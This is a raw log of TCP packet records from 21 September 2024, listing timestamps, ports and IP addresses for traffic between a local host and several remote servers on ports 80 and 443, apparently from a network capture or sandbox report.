Sep 21, 2024 13:33:42.456645012 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456662893 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457165003 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457180977 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457195997 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457202911 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457199097 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457216978 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457216978 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457231045 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457231998 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457247972 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457262993 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457268953 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457278967 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457288027 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457288027 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457295895 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457312107 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457326889 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457333088 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457341909 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457355976 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457396030 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457396030 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457751989 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457771063 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457784891 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457799911 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457818031 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457818031 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457834005 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457839966 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457848072 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457855940 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457863092 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457878113 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457880020 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457892895 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457906961 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457921028 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457921028 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457922935 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457937956 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.457952976 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.457981110 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.458616972 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458635092 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458647966 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458662987 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458668947 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.458679914 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458694935 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458697081 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.458708048 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.458712101 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458729029 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458734035 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.458744049 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458749056 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.458760023 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458775997 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458786011 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.458792925 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458808899 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.458821058 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.458842993 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.458872080 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.459518909 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459536076 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459556103 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459573030 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459589005 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459605932 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459605932 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.459621906 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459636927 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459638119 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.459638119 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.459652901 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459659100 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.459670067 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459686041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459688902 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.459702015 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.459712029 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.459739923 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.460436106 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460452080 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460464954 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460479975 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460495949 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.460496902 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460511923 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460525036 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.460526943 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460546970 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460561991 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460567951 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.460577011 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460577965 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.460577965 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.460592985 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.460602045 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.460609913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.460625887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.460634947 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.460681915 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.460681915 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.461357117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461373091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461386919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461401939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461416006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461432934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461443901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.461447001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461460114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.461462975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461472988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.461477995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461493015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461507082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461524010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461533070 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.461533070 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.461539030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461554050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.461577892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.461577892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.461738110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.462260962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.462276936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.462291002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.462306023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.462321997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.462337017 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.462344885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.462352037 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.462352991 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.462368011 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.462382078 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.462385893 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.462399006 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.462409973 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.462414026 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.462424994 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.462433100 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.462435961 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.462449074 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.462461948 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.462477922 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.462507010 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.463001013 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.463017941 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.463032007 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.463047028 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.463061094 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.463068008 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.463078022 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.463092089 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.463095903 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.463112116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463118076 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.463128090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463136911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.463144064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463159084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463175058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463176966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.463176966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.463192940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463210106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463223934 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.463223934 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.463285923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.463825941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463841915 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463855982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463870049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463886023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463901043 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463903904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.463903904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.463916063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463932037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463943005 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.463943005 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.463947058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463963985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463979959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463984966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.463994980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.463998079 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464009047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464025974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464041948 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464051008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464051008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464056969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464066029 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464096069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464760065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464776993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464792013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464807034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464821100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464833975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464833975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464835882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464852095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464869022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464869976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464869976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464884043 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464899063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464915037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464926958 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464927912 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464929104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464943886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.464943886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464960098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464975119 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.464991093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465002060 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465002060 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465006113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465029955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465054989 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465687037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465703011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465717077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465730906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465744972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465744972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465760946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465775967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465785027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465785027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465790987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465805054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465820074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465823889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465823889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465833902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465848923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465862989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465874910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465874910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465878010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465892076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465908051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465920925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.465920925 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465922117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465990067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.465990067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.466602087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466617107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466629982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466644049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466659069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466661930 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.466661930 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.466672897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466682911 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.466686964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466701984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466716051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466731071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466741085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.466741085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.466744900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466759920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466774940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466780901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.466780901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.466789007 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466803074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.466820955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.466820955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.466890097 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.467600107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467614889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467628956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467643976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467658997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467674017 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467683077 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.467684031 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.467689037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467713118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467726946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467727900 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.467727900 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.467741013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467755079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467770100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467775106 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.467775106 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.467783928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467798948 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467813969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.467817068 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.467817068 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.467863083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.467863083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.468573093 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.468624115 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.468677998 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.468677998 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.468700886 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.469485044 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.469592094 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.469742060 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.469990015 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.470056057 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.477062941 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477080107 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477094889 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477109909 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477125883 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477140903 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477154970 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477159977 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477170944 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477194071 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477194071 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477370024 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477518082 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477531910 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477546930 CEST	80	49712	176.113.115.33	192.168.2.9
